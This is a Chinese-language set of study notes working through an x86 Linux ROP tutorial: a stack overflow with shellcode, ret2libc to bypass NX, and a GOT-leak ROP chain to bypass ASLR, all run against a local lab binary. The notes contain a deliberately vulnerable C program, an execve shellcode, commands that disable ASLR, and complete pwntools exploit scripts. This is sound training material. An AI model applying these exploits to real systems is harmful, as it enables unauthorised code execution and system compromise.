文章:一步一步学 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否

实验代码: zhengmin1989/ROP_STEP_BY_STEP: 一步一步学ROP (github.com)

注意:

  • 因为做过修改, 所以命令行的目录路径可能不同, 但是gcc主要的编译参数没有问题.

Control Flow Hijack (控制流劫持)

常见的CFH:

  • 栈溢出
  • 格式化字符串攻击
  • 堆溢出

常见的防御方法:

  • DEP(堆栈不可执行)
  • ASLR(内存地址随机化)
  • Stack Protector(栈保护)

实验代码

该实验没有防护措施, 可以直接攻击

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World\n", 13);
}

编译

编译指令, 关于两个保护:

  • 栈溢出保护: Canary在栈中保存一个特殊值, 监视栈是否溢出
  • 堆栈禁止执行: 在CPU层面上启用, 将某些内存区域标记为不可执行.
gcc -fno-stack-protector -z execstack -o level1 level1.c
		     |				   |
		关闭栈溢出保护      关闭堆栈禁止执行

关闭当前Linux系统的ASLR保护

sudo -s
功能: 
echo 0 > /proc/sys/kernel/randomize_va_space
exit

需要指出的randomize_va_space的功能, 这个文件本质上相当于一个变量, 用于开关ASLR, 变量值就是文件内容, 总共有三种模式:

  • 0 = 关闭
  • 1 = 半随机. 共享库, 栈, mmap()以及VDSO将被随机化
  • 2 = 全随机. 在1的基础上加入了堆随机化.

参考: Linux下关闭ASLR(地址空间随机化)的方法_linux关闭地址随机化-CSDN博客

最终的编译指令 (注意由于WSL是x64环境, 所以编译选项中还需要添加-m32来显式指出编译为32位程序.)

gcc -fno-stack-protector -z execstack -m32 -no-pie level1.c -o level1

运行 & 确定偏移点

pattern.py

实验提供pattern.py代码, 需要使用python2运行.

pattern.py使用说明:

  • python2 pattern.py create 150

    • 生成长度 = 150的测试字符串
  • python2 pattern.py offset 0x11111111

    • 根据内存出错地址判断返回地址的栈偏移, 返回的值就是要填充的长度

确定偏移点

使用pattern.py生成字符串

python3 pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

运行程序, 并使用字符串. 返回地址被字符串覆盖, 返回到一个非法地址0x37654136

pwndbg> run                                                                                            │
Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1                                  │
[Thread debugging using libthread_db enabled]                                                          │
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                             │
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A│
d4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9                                                        │
Program received signal SIGSEGV, Segmentation fault.                                                   │
0x37654136 in ?? ()

再使用pattern.py识别返回地址, 并确定填充长度

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python2 pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

构造shellcode

由于程序中没有现成的函数调用execve("/bin/sh")​, 所以需要自己构造shellcode.

生成shellcode的方式:

  • Metasploit Framework(MSF)生成
  • 自行构造并反编译
  • 在Shell-Storm上查找shellcode

shellcode1

教程中给出的shellcode解析

#execve ("/bin/sh")
xor  ecx, ecx    # ecx = 0
mul  ecx         # ecx自乘, 0 * 0 = 0, eax = 0
push ecx         # 压入一个00 00 00 00 作为字符串的'\0'
push 0x68732f2f  # 压入字符串
push 0x6e69622f  # 压入字符串
mov  ebx, esp    # 字符串指针作为参数1
mov  al, 11      # 调用号
int  0x80        # 系统调用

payload的大致分布

[shellcode]["AAAAAAAAAA..."][ret_address]
^---------------------------------------|

确定payload偏移

由于栈的内存分布在不同的环境下不同, 所以调试下栈的分布与未调试的栈分布不同. 如果想要执行shellcode, 就需要ret_address返回到正确的字符串头地址.

开启core dump

在未调试的情况下开启Core Dump环境

ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

然后运行程序, 并字符串覆盖返回地址, 构成内存错误, 此时会生成core文件.

注意: 这个内存错误必须是直接执行时触发, 而不是在调试的时候触发. (否则core dump下来的还是调试时的栈地址)

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ ./level1
ABCDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA                                                                                                                    
Segmentation fault (core dumped)                                                                                                    

gdb调试core文件

$ gdb level1 /tmp/core.1695222277

计算栈空间: 由于retn​实际上是pop eip​, 所以ESP指针在返回地址的下面. 所以字符串的起始地址 = $esp - 144

---------------
      |
	  |
填充的140个字节
	  |
	  |
---------------
返回地址 (4字节)
---------------  --> ESP

使用gdb查看内存数据, 发现了特征字符串头, 也确定了ret_address = 0xffc7c700

pwndbg> x/10s $esp - 144                                                                               │
0xffc7c700:     "ABCD", 'A' <repeats 149 times>, "\n\361\367\031\205\313\367\241\312\307\377p"         │
0xffc7c7a6:     ""                                                                                     │
0xffc7c7a7:     ""                                                                                     │
0xffc7c7a8:     ""                                                                                     │
0xffc7c7a9:     "P\361\367\031\205\313\367\001"                                                        │
0xffc7c7b2:     ""                                                                                     │
0xffc7c7b3:     ""                                                                                     │
0xffc7c7b4:     "d\310\307\377l\310\307\377\320\307\307\377"                                           │
0xffc7c7c1:     "\020\354\367\273\221\004\b\001"                                                       │
0xffc7c7ca:     ""                                                                                     │
pwndbg>

重新确定ret_address

看错了core文件 (看成了调试的core文件), 导致ret_address一直都是错误的.

ret_address = 0xffffc7b0

pwndbg> x/10s $esp - 144                                                                               │
0xffffc7b0:     '1' <repeats 30 times>, 'A' <repeats 110 times>, "2222\n\310\377\377"                  │
0xffffc845:     "\220\372\367 \320\377\367\031\005\332\367\215\312\377\377p"                           │
0xffffc856:     ""                                                                                     │
0xffffc857:     ""                                                                                     │
0xffffc858:     ""                                                                                     │
0xffffc859:     "\320\377\367\031\005\332\367\001"                                                     │
0xffffc862:     ""                                                                                     │
0xffffc863:     ""                                                                                     │
0xffffc864:     "\024\311\377\377\034\311\377\377\200\310\377\377"                                     │
0xffffc871:     "\220\372\367\273\221\004\b\001"

第二次回顾记录

在第二次回顾实验的时候发现, 直接运行level1触发内存异常的core文件的栈地址仍然与pwntools中运行的栈地址不同. 需要在运行pwntools后查看对应的core文件才行.

正常运行level1的core

image

使用pwntools运行level1的core

image

所以正确的retaddress = 0xffffc1f0

编写exploit

from pwn import *

conn = process("./level1")

ret = 0xffffc7b0 # first time
ret = 0xffffc1f0 # second time

shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += b"\x0b\xcd\x80"

payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)

conn.sendline(payload)

conn.interactive()

Ret2libc - Bypass DEP (通过ret2libc绕过DEP防护)

  • DEP(Data Execution Prevention): 即数据执行保护. 软件级别的DEP保护有NX保护, 即限制特定内存不可执行, 比如说堆栈不可执行.

思路总结

前置条件:

╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab2
╰─$ checksec level2
[*] '/home/lamecrow/code/c/pwn/zm_rop/lab2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
  • Stack's canary: 关闭
  • NX: 开启
  • PIE: 关闭
  • 程序中没有出现system函数和字符串

流程:

  • 找到溢出点 (因为无需使用shellcode, 直接可以跳转到system, 所以不需要找到在堆栈中的起始地址, payload构造起来也相对简单些)
  • gdb调试, print命令找到system的函数地址
  • gdb调试, search命令找到"/bin/sh"字符串地址
  • 确定system的返回地址, 一般是随意的
  • 构造payload: 填充 + (当前函数返回地址 -> system) + (system函数返回地址 -> 任意地址) + (参数 -> "/bin/sh"字符串地址)

实验代码

实验代码不变, 只在编译时开启NX保护

gcc -fno-stack-protector 

确定ret_address

因为重新编译过, 输入字符串在栈中的位置会发生改变, 所以需要重新校准.

首先输入字符串覆盖返回地址, 造成内存错误, 并生成coredump文件.

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ ./level2                                                     
111111111111111111111111111111AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2222                                                                                                                                    Segmentation fault (core dumped)

然后使用gdb调试, 查看字符串起始地址, 也就是ret_address的值

pwndbg> x /10bx $esp - 144                                                                             │
0xffffd2b0:     0x31    0x31    0x31    0x31    0x31    0x31    0x31    0x31                           │
0xffffd2b8:     0x31    0x31

修改后的exploit.py

  1 from pwn import *
  2
  3 conn = process("./level2")
  4
  5 # level2
  6 ret = 0xffffd2b0
  7
  8 shellcode = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
  9 shellcode += b"\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
 10 shellcode += b"\x0b\xcd\x80"
 11
 12 payload = shellcode + b'A' * (140 - len(shellcode)) + p32(ret)
 13
 14 #pause()
 15
 16 conn.sendline(payload)
 17
 18 conn.interactive()

运行该脚本, 得到错误输出, 信号是SIGSEGV, 说明是访问了非法的内存, 也就是执行了没有执行权限的栈内存.

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py
[+] Starting local process './level2': pid 30225
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ ls
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 30225)                                                                   [*] Got EOF while sending in interactive

验证NX保护

level2栈权限

在exploit中使用pause(), 暂停进程并记录PID

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2$ python3 exploit.py
[+] Starting local process './level2': pid 1200
[*] Paused (press any to continue)
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ exit
[*] Process './level2' stopped with exit code -11 (SIGSEGV) (pid 1200)
[*] Got EOF while sending in interactive

然后查看该进程的内存映射, 最后一行stack的内存权限是: 可读可写且为私有段(s表示共享段), 但是不可执行.

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/1200/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 7881299348170901                   /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
08049000-0804a000 r-xp 00001000 00:4c 7881299348170901                   /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804a000-0804b000 r--p 00002000 00:4c 7881299348170901                   /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804b000-0804c000 r--p 00002000 00:4c 7881299348170901                   /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
0804c000-0804d000 rw-p 00003000 00:4c 7881299348170901                   /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2
f7d7f000-f7d9f000 r--p 00000000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7d9f000-f7f21000 r-xp 00020000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f21000-f7fa6000 r--p 001a2000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7fa6000-f7fa7000 ---p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7fa7000-f7fa9000 r--p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7fa9000-f7faa000 rw-p 00229000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7faa000-f7fb4000 rw-p 00000000 00:00 0
f7fbe000-f7fc0000 rw-p 00000000 00:00 0
f7fc0000-f7fc4000 r--p 00000000 00:00 0                                  [vvar]
f7fc4000-f7fc6000 r-xp 00000000 00:00 0                                  [vdso]
f7fc6000-f7fc7000 r--p 00000000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc7000-f7fec000 r-xp 00001000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00026000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00034000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00036000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rw-p 00000000 00:00 0                                  [stack]

为了验证, 重复上述步骤查看level1的stack

level1栈权限

首先添加pause(), 并运行exploit.py

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ python3 exploit.py
[+] Starting local process './level1': pid 12907
[*] Paused (press any to continue)

然后查看其maps文件, 最后一行的stack的内存权限是: 可执行

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1$ sudo cat /proc/12907/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 45317471250514877                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
08049000-0804a000 r-xp 00001000 00:4c 45317471250514877                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804a000-0804b000 r--p 00002000 00:4c 45317471250514877                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804b000-0804c000 r--p 00002000 00:4c 45317471250514877                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
0804c000-0804d000 rw-p 00003000 00:4c 45317471250514877                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level1/level1
f7d7f000-f7d9f000 r--p 00000000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7d9f000-f7f21000 r-xp 00020000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f21000-f7fa6000 r--p 001a2000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7fa6000-f7fa7000 ---p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7fa7000-f7fa9000 r--p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7fa9000-f7faa000 rw-p 00229000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7faa000-f7fb4000 rw-p 00000000 00:00 0
f7fbe000-f7fc0000 rw-p 00000000 00:00 0
f7fc0000-f7fc4000 r--p 00000000 00:00 0                                  [vvar]
f7fc4000-f7fc6000 r-xp 00000000 00:00 0                                  [vdso]
f7fc6000-f7fc7000 r--p 00000000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fc7000-f7fec000 r-xp 00001000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fec000-f7ffb000 r--p 00026000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffb000-f7ffd000 r--p 00034000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7ffd000-f7ffe000 rw-p 00036000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
fffdd000-ffffe000 rwxp 00000000 00:00 0                                  [stack]

思路梳理

  • 当前问题: 无法在堆栈中执行代码, 而字符串也是用push的方式存入堆栈的, 所以当前面临两个困境

    • 无法执行system
    • 没有"/bin/sh字符串"
  • 解决: level2调用了libc.so库, 并且libc.so保存了大量可利用函数(解决问题一), 如果可以让程序执行system("/bin/sh"), 也可以获取shell.

如果关闭ASLR(数据段地址随机化), system()函数在内存中的地址不会发生变化, 并且libc.so中也包含了"/bin/sh"字符串, 并且这个字符串的地址也是固定的.

find system & "/bin/sh"

使用gdb调试level2, 在main函数处下一个断点, 因为libc动态库需要程序运行时才加载到程序内存中, 在程序运行到main函数时libc已经加载完成.

------- tip of the day (disable with set show-tips off) -------                                                                                                               │
Disable Pwndbg context information display with set context-sections ''                                                                                                       │
pwndbg> break main                                                                                                                                                            │
Breakpoint 1 at 0x80491ca                                                                                                                                                     │
pwndbg> run                                                                                                                                                                   │
Starting program: /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/level2/level2                                                                                                         │
[Thread debugging using libthread_db enabled]                                                                                                                                 │
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".                                                                                                    │
Breakpoint 1, 0x080491ca in main ()                                                                                                                                           │

使用print打印对应符号的信息, 找到了system函数的地址

pwndbg> print system                                                                                                                                                          │
$3 = {int (const char *)} 0xf7dc7150 <__libc_system>

使用search全局搜索, 找到"/bin/sh"字符串

pwndbg> search -t string /bin/sh                                                                                                                                              │
Searching for value: b'/bin/sh\x00'                                                                                                                                           │
libc.so.6       0xf7f3c0f5 '/bin/sh'

编写Exploit

  1 from pwn import *
  2
  3 conn = process("./level2")
  4
  5 system = 0xf7dc7150
  6 ret = 0xdeadbeef
  7 shell = 0xf7f3c0f5
  8
  9 payload = b'A' * 140 + p32(system) + p32(ret) + p32(shell)
 10
 11 conn.sendline(payload)
 12
 13 conn.interactive()

为什么payload要这样排布, 应该代入到调用system的上下文中:

  • 首先会将字符串参数压入栈中, 所以"/bin/sh"的地址会在最下方
  • 然后call指令会将返回地址压入栈中, 所以倒数第二个是最终的返回地址, 但是已经调用system创建子进程了, 所以父进程的返回地址就无所谓了, 可以随意构造
  • 然后最上方的system地址是retn的返回地址, 在retn后实际上是pop了一次, 所以esp会推到ret处, 再观察栈中内容, 会发现和call后的栈内容一样 (特别是返回地址, 字符串参数的偏移是没有错误的) , 所以后续system不论是获取参数还是返回都是正常的.

ROP - Bypass DEP and ASLR (通过ROP绕过DEP和ASLR)

  • ASLR(数据地址随机化): 在checksec中叫做PIE(Position-Independent Executable).

实验代码

仍然是level1.c, 打开ASLR保护

sudo -s
echo 2 > /proc/sys/kernel/randomize_va_space

编译命令

gcc -fno-stack-protector -m32 -no-pie ../lab1/level1.c -o level3
								 |
                    不加上的话程序本身的虚拟地址也是随机的

使用checksec查看安全属性

╭─lamecrow@LAPTOP-PUE31HT9 ~/code/c/pwn/zm_rop/lab3
╰─$ checksec level3
[*] '/home/lamecrow/code/c/pwn/zm_rop/lab3/level3'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

验证ASLR

测试level2的exploit脚本

无法获取shell

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ python3 exploit.py
[+] Starting local process './level3': pid 9736
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
[*] Process './level3' stopped with exit code -11 (SIGSEGV) (pid 9736)
[*] Got EOF while sending in interactive

debug脚本

编写一个测试用的pwntools脚本

  1 from pwn import *
  2
  3 conn = process("./level3")
  4
  5 payload = b'A'
  6
  7 pause()
  8
  9 conn.sendline(payload)
 10
 11 conn.interactive()

进程1地址空间

然后查看其maps文件

lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495$ sudo cat /proc/19314/maps
[sudo] password for lamecrow:
08048000-08049000 r--p 00000000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
08049000-0804a000 r-xp 00001000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804a000-0804b000 r--p 00002000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804b000-0804c000 r--p 00002000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804c000-0804d000 rw-p 00003000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
f7d2e000-f7d4e000 r--p 00000000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7d4e000-f7ed0000 r-xp 00020000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7ed0000-f7f55000 r--p 001a2000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f55000-f7f56000 ---p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f56000-f7f58000 r--p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f58000-f7f59000 rw-p 00229000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f59000-f7f63000 rw-p 00000000 00:00 0
f7f6d000-f7f6f000 rw-p 00000000 00:00 0
f7f6f000-f7f73000 r--p 00000000 00:00 0                                  [vvar]
f7f73000-f7f75000 r-xp 00000000 00:00 0                                  [vdso]
f7f75000-f7f76000 r--p 00000000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f76000-f7f9b000 r-xp 00001000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f9b000-f7faa000 r--p 00026000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7faa000-f7fac000 r--p 00034000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7fac000-f7fad000 rw-p 00036000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
ffe75000-ffe97000 rw-p 00000000 00:00 0                                  [stack]

进程2地址空间

动态库与进程1的地址空间不同, 但是level3程序本身在虚拟内存中的位置是固定的.

lamecrow@LAPTOP-PUE31HT9:/mnt/c/Users/17495$ sudo cat /proc/19863/maps
08048000-08049000 r--p 00000000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
08049000-0804a000 r-xp 00001000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804a000-0804b000 r--p 00002000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804b000-0804c000 r--p 00002000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
0804c000-0804d000 rw-p 00003000 00:4c 56013520365443640                  /mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3/level3
f7cff000-f7d1f000 r--p 00000000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7d1f000-f7ea1000 r-xp 00020000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7ea1000-f7f26000 r--p 001a2000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f26000-f7f27000 ---p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f27000-f7f29000 r--p 00227000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f29000-f7f2a000 rw-p 00229000 08:20 23205                              /usr/lib/i386-linux-gnu/libc.so.6
f7f2a000-f7f34000 rw-p 00000000 00:00 0
f7f3e000-f7f40000 rw-p 00000000 00:00 0
f7f40000-f7f44000 r--p 00000000 00:00 0                                  [vvar]
f7f44000-f7f46000 r-xp 00000000 00:00 0                                  [vdso]
f7f46000-f7f47000 r--p 00000000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f47000-f7f6c000 r-xp 00001000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f6c000-f7f7b000 r--p 00026000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f7b000-f7f7d000 r--p 00034000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
f7f7d000-f7f7e000 rw-p 00036000 08:20 23192                              /usr/lib/i386-linux-gnu/ld-linux.so.2
fff89000-fffab000 rw-p 00000000 00:00 0

ASLR破解思路

  • 首先泄漏libc.so某些函数在内存中的地址
  • 根据泄漏的函数地址 + 偏移量计算出system()函数和"/bin/sh"字符串在内存中的地址
  • 栈, libc, heap的地址都是随机的, 但是程序的内存地址是固定的 (这个在maps文件中也体现了, 观察上面的两个maps文件, 发现对level3的映射是固定的)
  • 可以通过GOT表找到write()函数地址, 然后根据固定的偏移找到system()函数

image

使用objdump查看PLT信息

查看objdump的plt表反汇编数据, 因为system和read, write都位于libc中, 属于导入函数, 需要使用plt表, 所以首先查看plt表的信息.

由于程序本身没有调用system, 可以先找到write(read也行)函数的地址, 然后通过固定的偏移找到system()函数.

这里涉及到了延时绑定技术, 在CSAPP和程序员的自我修养中都有提到, CSAPP较为简洁, 但是也够用了.

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ objdump -d -j .plt level3

level3:     file format elf32-i386


Disassembly of section .plt:

08049030 <__libc_start_main@plt-0x10>:                                             // 特殊条目, 用来跳转到动态连接器中. 所以它没有符号, 而是用__libc_start_main@plt加上一个偏移值表示
 8049030:       ff 35 04 c0 04 08       push   0x804c004
 8049036:       ff 25 08 c0 04 08       jmp    *0x804c008
 804903c:       00 00                   add    %al,(%eax)
        ...

08049040 <__libc_start_main@plt>:
 8049040:       ff 25 0c c0 04 08       jmp    *0x804c00c
 8049046:       68 00 00 00 00          push   $0x0
 804904b:       e9 e0 ff ff ff          jmp    8049030 <_init+0x30>

08049050 <read@plt>:
 8049050:       ff 25 10 c0 04 08       jmp    *0x804c010
 8049056:       68 08 00 00 00          push   $0x8
 804905b:       e9 d0 ff ff ff          jmp    8049030 <_init+0x30>

08049060 <write@plt>:
 8049060:       ff 25 14 c0 04 08       jmp    *0x804c014
 8049066:       68 10 00 00 00          push   $0x10
 804906b:       e9 c0 ff ff ff          jmp    8049030 <_init+0x30>

查看链接信息

lamecrow@LAPTOP-PUE31HT9:/mnt/e/Try/DownLoad/PWN/Learn/ZMspark/X86_ROP/level3$ ldd level3
        linux-gate.so.1 (0xf7f36000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7cf1000)
        /lib/ld-linux.so.2 (0xf7f38000)

找到动态库文件后, 将其复制到当前文件夹, 方便后续使用.

编写exploit

分步解析exploit.py文件

  1 from pwn import *
  2
  3 libc = ELF("libc.so")
  4 elf = ELF("level3")
  5
  6 conn = process("./level3")
  7
  8 # 打印PLT表中, write()函数对应的条目地址
  9 # 打印出来的地址可以到objdump中验证, 可以发现与PLT表中对应条目的地址相同
 10 plt_write = elf.symbols['write']
 11 print('plt_write = ' + hex(plt_write))
 12
 13 # 打印GOT表中, write()函数对应的地址
 14 # 打印出来的地址可以到objdump中验证, 与PLT表中第一个JMP的跳转地址相同
 15 got_write = elf.got['write']
 16 print('got_write = ' + hex(got_write))
 17
 18 # vulnable_function()的地址通过gdb或IDA查看
 19 vulfun_addr = 0x08049186
 20 print('vulfun = ' + hex(vulfun_addr))
 21
 22 # 填充 + 目标函数地址 + 返回地址 + 参数列表(1, got_write地址, 4)
 23 # 实际上就是调用了write(1, got_write绝对地址, 4), 把运行中的write()绝对地址输出到std_out中, 这样就可以接收得知函数地址
 24 payload1 = b'a' * 140 + p32(plt_write) + p32(vulfun_addr) + p32(1) + p32(got_write)     + p32(4)
 25
 26 # 输入payload
 27 print("\n###sending payload1...###")
 28 conn.send(payload1)
 29
 30 # 通过write()函数, 标准输出了write(()函数的绝对地址
 31 print("\n###receving write() addr...###")
 32 write_addr = u32(conn.recv(4))
 33 print('write_addr = ' + hex(write_addr))
 34
 35 print("\n###calculating system() addr and \"/bin/sh\" addr...###")
 36
 37 # 首先获取库基址, 然后再加上system的偏移, 得到了实际system()的实际地址
 38 system_addr = write_addr - libc.symbols['write'] + libc.symbols['system']
 39 print('system_addr = ' + hex(system_addr))
 40
 41 # 搜索elf文件libc库, 与上面同理
 42 binsh_addr = write_addr - libc.symbols['write'] + next(libc.search(b'/bin/sh'))
 43 print('binsh_addr = ' + hex(binsh_addr))
 44
 45 # 由于上一次payload最终又返回了vulfun, 所以又再一次读取, 这一次构造system调用和sh的    字符串地址
 46 payload2 = b'a' * 140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)  
 47
 48 print("\n###sending payload2...###")
 49 conn.send(payload2)
 50
 51 conn.interactive()